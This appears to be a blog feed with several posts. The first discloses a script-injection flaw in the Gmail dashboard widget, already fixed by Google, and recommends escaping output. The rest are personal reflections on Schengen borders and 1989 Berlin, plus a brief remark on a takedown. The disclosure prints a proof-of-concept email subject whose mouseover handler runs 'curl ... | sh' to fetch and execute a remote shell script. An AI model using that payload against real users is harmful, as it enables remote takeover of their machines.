Excuse the widget blogging hiatus, please; I held back on this one till Google had rolled out a fix.
Our topic today, then, is the Gmail dashboard widget -- a handy dashboard frontend to Google Mail. As so many other widgets, this one, too, runs with access to the widget.system method. However, the bug in question here does not relate to eval(). Instead, it's script-injection into the DOM due to a lack of output cleansing in the client-side JavaScript code. It's, effectively, the same kind of vulnerability that underlies cross-site-scripting vulnerabilities in servers; for a change, however, this is a client-side problem.
Consider this code fragment:
var titleText = MessagesTable
.getTitleTextFromEntryElement(currentEntry);
titleText =
' <span class="title-class">'
+ titleText
+ '</span>';
if (Prefs.getShowSnippets()) {
var summaryText = MessagesTable.getSummary(currentEntry);
summaryText = '<span class="snippet-class"> - '
+ summaryText
+ '</span>';
titleText += summaryText;
}
titleText = "<div class='table-overflow-col'>"
+ titleText + "</div>";
...
titleColumn.innerHTML = titleText;
The use of the non-standard innerHTML property to write to the DOM here means that, if we can inject tags into the titleText variable, we can actually write tags into that document object model.
Instead of reading more code, I sent a first message to my GMail account, with this subject:
Subject: <i>italic?</i>
Now, guess how that message came out in the GMail widget... So, we can write tags into the DOM. The simple approach of just dropping some <script> tags into the subject header failed, though: innerHTML doesn't actually execute scripts right away.
However, this worked:
Subject: <a href="#" onmouseover=
'var foo=widget.system ("curl http://does-not-exist.org/test
| sh", null).outputString;'><span class="title-class">hi
there</span></a>
As soon as the mouse pointer hovered over the subject header of this message, a shell script would be downloaded from my web server, and then executed, with the user's privileges -- the machine was taken over by sending a single e-mail, combined with a likely and innocuous user interaction.
What this example (as the other, earlier ones) demonstrates is that, as Web technologies move to the desktop, bad coding practices move with them. However, what was once a problem that might affect one server-side application now tuns into a way to subvert client computers -- easily, quickly, and thoroughly, and with no more tools than the ability to write a simple e-mail.
Possible fixes to this problem include escaping any user-supplied data that is expected to contain text before feeding it to dangerous programming constructs such as .innerHTML, or using safer programming constructs such as createTextNode.
The recent observations about widgets suggest several more general points, though: On the one hand, figuring out useful security models for widgets is an important task (that the W3C Web Application Formats Working Group, which works on a widget format, will have to take on, together with the various widget vendors).
On the other hand, it's clear that fancy security models are not enough: We need to spread the word about sane programming practices for widgets, and quite likely some code review from those who advertise others' code as safe to download.
Finally, these kinds of issues are not just a problem with widgets: Just this Wednesday, Orkut was hit by a worm that was exploiting server-side cross-site scripting vulnerabilities. As we see more and more cross-site requests and data flows -- either through cross-site XMLHttpRequest, or through deliberate cross-site script inclusion --, we'll see attacks like these cross site boundaries. We'll also see combined server and client-side attacks, just enabled by web technologies.
I hope to talk more about this at this year's Chaos Communication Congress in Berlin, and perhaps at the Web Conference next April in Beijing.
]]>
My colleagues Ivan Hermann and Richard Ishida are sharing some experiences from the "old time", when traveling into (and out of) Hungary meant crossing borders and facing guard dogs and Kalashnikovs. Hungary is now a Schengen state, which means that crossing its border toward Austria is as easy as crossing the borders between Luxembourg and Germany, or Luxembourg and France, or France and Germany -- in short, the borders that meet around the little village of Schengen that has given its name to the contract, just a few dozen kilometers south of where I now live. I often tell of the marks that remind of past floodings in nearby Sierck-les-Bains, and how they change languages, testimony to just often war ravaged this area, how often borders moved here, and how absurd they are to the people who live on them.
While I never crossed the Hungarian part of the iron curtain when it was still up, the most lasting memory of my first time in Berlin - a school trip, in the last week of August in 1989, just weeks before the DDR started collapsing - was our one-day visit to the eastern part of the city. I believe that we took the subway from somewhere in Western Berlin (not the S train from Zoo as we did last week, coming back from chestnuts and Glühwein and a look at Kurfürstendamm). I remember our passing (in 1989) through badly-lit, machine gun and camera infested, but otherwise abandoned, stations on the Eastern side (without even slowing down); finally, the train stopped at Friedrichstrasse, which I once again remember as a fairly colorless affair. What I remember of the border controls that followed are grey and somewhat claustrophobic corridors, and a distinctive sense of fear; the details have all become fuzzy. We were all glad when we finally emerged from Bahnhof Friedrichstrasse. Back then, it was known as the palace of tears: This was where Eastern and Western relatives would kiss good-bye, and where following across the border was suicidal for those from the East. (Needless to say, we were rather happy when we made it back to the West that night.)
This New Year's eve, we passed through Bahnhof Friedrichstrasse many times, by subway, S train, and walking. Going from Friedrichstrasse toward the Reichstag (and further along what's now known as the street of 17 June), we walked across what was once the deadly strip around the Berlin wall. That night, the Brandenburg gate was off limits only because there were too many people there.
It's normal like that now, and it has always been like that for those who will first attend an election this year.
The accession to Schengen of Hungary and other countries that used to be on the eastern side of the iron curtain means that, soon, not having to show one's papers when one crosses a border will be normal for them, too. And that's really great.
Yet, it's important to remember that the world hasn't always been like this. That there were times when borders were insurmountable, when moving from one country into another meant risking one's life, for those who had ended up on the wrong side of that border; and that there are indeed borders in this world of which that's still true.
That's why stories like Richard's and Ivan's are so important, and why I dug out that almost 20 year old photo of the Brandenburg gate from a pile of old pictures.
]]>
It'll be interesting to see what happened, and what will happen next -- at 690,575 views in some 10 days, this must be the highest-profile takedown in quite a while; for a change, it's a piece of art, and a parody.
]]>